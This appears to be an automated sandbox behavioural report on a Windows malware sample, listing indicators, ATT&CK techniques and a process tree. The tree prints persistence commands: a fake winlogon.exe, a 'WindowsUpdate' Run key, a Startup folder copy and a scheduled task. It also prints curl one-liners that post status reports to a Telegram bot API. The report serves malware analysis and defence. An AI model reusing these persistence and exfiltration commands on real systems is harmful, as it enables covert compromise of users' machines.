08bb040c5194f2e596842cb18a1fd6781e330afc23df61ac3d7f9015f08ed8db

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	winlogon.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	winlogon.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	winlogon.exe

Executes dropped EXE 2 IoCs

pid	Process
1512	winlogon.exe
4628	winlogon.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Temp\\winlogon.exe"	winlogon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Temp\\winlogon.exe"	winlogon.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1984	cmd.exe
3120	cmd.exe
1784	cmd.exe
4296	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
932	schtasks.exe
3388	schtasks.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 5076 wrote to memory of 1512	5076	2026-08-11_419389cc862ba31d06dbc9f4f87f186f_cobalt-strike_icedid_njrat_satacom_stealc.exe	90
PID 1512 wrote to memory of 3388	1512	winlogon.exe	92
PID 1512 wrote to memory of 432	1512	winlogon.exe	93
PID 1512 wrote to memory of 1784	1512	winlogon.exe	94
PID 1784 wrote to memory of 2572	1784	cmd.exe	98
PID 1512 wrote to memory of 4296	1512	winlogon.exe	99
PID 4296 wrote to memory of 1432	4296	cmd.exe	102
PID 4628 wrote to memory of 932	4628	winlogon.exe	104
PID 4628 wrote to memory of 3312	4628	winlogon.exe	105
PID 4628 wrote to memory of 1984	4628	winlogon.exe	106
PID 1984 wrote to memory of 4148	1984	cmd.exe	110
PID 4628 wrote to memory of 3120	4628	winlogon.exe	111
PID 3120 wrote to memory of 3536	3120	cmd.exe	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	7	curl/8.8.0
HTTP User-Agent header	10	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\2026-08-11_419389cc862ba31d06dbc9f4f87f186f_cobalt-strike_icedid_njrat_satacom_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-11_419389cc862ba31d06dbc9f4f87f186f_cobalt-strike_icedid_njrat_satacom_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Temp\winlogon.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Temp\winlogon.exe"
  2⤵
  - Creates a file in the Startup directory
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /xml "C:\Users\Admin\AppData\Local\Temp\task.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3388
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /change /tn "WindowsUpdate" /enable
    3⤵
    PID:432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /query /tn "WindowsUpdate" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1784
  - - C:\Windows\system32\schtasks.exe
      schtasks /query /tn "WindowsUpdate"
      4⤵
      PID:2572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl -s -X POST "https://api.telegram.org/botÐ—ÐÐœÐ•ÐÐ˜_ÐÐ_Ð¡Ð’ÐžÐ™_Ð¢ÐžÐšÐ•Ð/sendMessage" -d "chat_id=Ð—ÐÐœÐ•ÐÐ˜_ÐÐ_Ð¡Ð’ÐžÐ™_CHAT_ID&text=[Persistence%20Check] [Persistence%20Status] [+]%20Registry:%20OK%20(WindowsUpdate%20exists) %20%20%20%20Path:%20C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Temp\winlogon.exe [+]%20Hidden%20copy:%20OK%20(%APPDATA%\Microsoft\Windows\Temp\winlogon.exe) [+]%20Startup%20folder:%20OK [-]%20Task%20Scheduler:%20NOT%20FOUND " > nul 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4296
  - - C:\Windows\system32\curl.exe
      curl -s -X POST "https://api.telegram.org/botÐ—ÐÐœÐ•ÐÐ˜_ÐÐ_Ð¡Ð’ÐžÐ™_Ð¢ÐžÐšÐ•Ð/sendMessage" -d "chat_id=Ð—ÐÐœÐ•ÐÐ˜_ÐÐ_Ð¡Ð’ÐžÐ™_CHAT_ID&text=[Persistence%20Check]
      4⤵
      PID:1432

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Temp\winlogon.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Temp\winlogon.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /tn "WindowsUpdate" /xml "C:\Users\Admin\AppData\Local\Temp\task.xml" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:932
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /change /tn "WindowsUpdate" /enable
  2⤵
  PID:3312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /query /tn "WindowsUpdate" 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "WindowsUpdate"
    3⤵
    PID:4148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -s -X POST "https://api.telegram.org/botÐ—ÐÐœÐ•ÐÐ˜_ÐÐ_Ð¡Ð’ÐžÐ™_Ð¢ÐžÐšÐ•Ð/sendMessage" -d "chat_id=Ð—ÐÐœÐ•ÐÐ˜_ÐÐ_Ð¡Ð’ÐžÐ™_CHAT_ID&text=[Persistence%20Check] [Persistence%20Status] [+]%20Registry:%20OK%20(WindowsUpdate%20exists) %20%20%20%20Path:%20C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Temp\winlogon.exe [+]%20Hidden%20copy:%20OK%20(%APPDATA%\Microsoft\Windows\Temp\winlogon.exe) [+]%20Startup%20folder:%20OK [-]%20Task%20Scheduler:%20NOT%20FOUND " > nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3120
- - C:\Windows\system32\curl.exe
    curl -s -X POST "https://api.telegram.org/botÐ—ÐÐœÐ•ÐÐ˜_ÐÐ_Ð¡Ð’ÐžÐ™_Ð¢ÐžÐšÐ•Ð/sendMessage" -d "chat_id=Ð—ÐÐœÐ•ÐÐ˜_ÐÐ_Ð¡Ð’ÐžÐ™_CHAT_ID&text=[Persistence%20Check]
    3⤵
    PID:3536

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry